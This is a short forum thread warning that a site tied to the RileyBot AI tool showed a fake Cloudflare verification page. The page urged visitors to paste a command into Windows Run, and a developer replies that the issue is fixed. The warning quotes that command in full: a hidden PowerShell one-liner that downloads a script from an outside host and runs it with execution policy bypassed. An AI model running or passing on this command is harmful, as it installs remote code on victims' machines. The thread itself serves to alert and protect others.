Rileybot compromised!

[denzal2k4]

I know this is becoming popular, our staff have started trying to use it today and its taking them to a fake cloudflare verification page, asking them to copy and paste code into the run command, I'd advice blocking sphinxai.education just in case someone tries running it, the command it wants you to run is:

 

powershell -w h -nop -c "$qyc='https://adapadske.org/zfg.lim';$poy=\"$env:USERPROFILE\Documents\kfphp.ps1\";$qey=New-Object Net.WebClient;$qey.DownloadFile($qyc,$poy);powershell -w h -ep bypass -f $poy"

 

Smells fishy to me!

 

I have alerted them and am awaiting a response.

 

Hope this helps!

[JoshSphinxAI]

Hi, I am lead developer of the RileyBot software.

The issues relating to the fake cloudflare verification page have been solved, this only affected the Sphinxai.education website and did not in any way impact the RileyBot website or App.

 

We have since improved security surrounding the SphinxAI website that is hosted and controlled by an external company, we have had no breaches and no data has been impacted whatsoever.

 

Thanks

Josh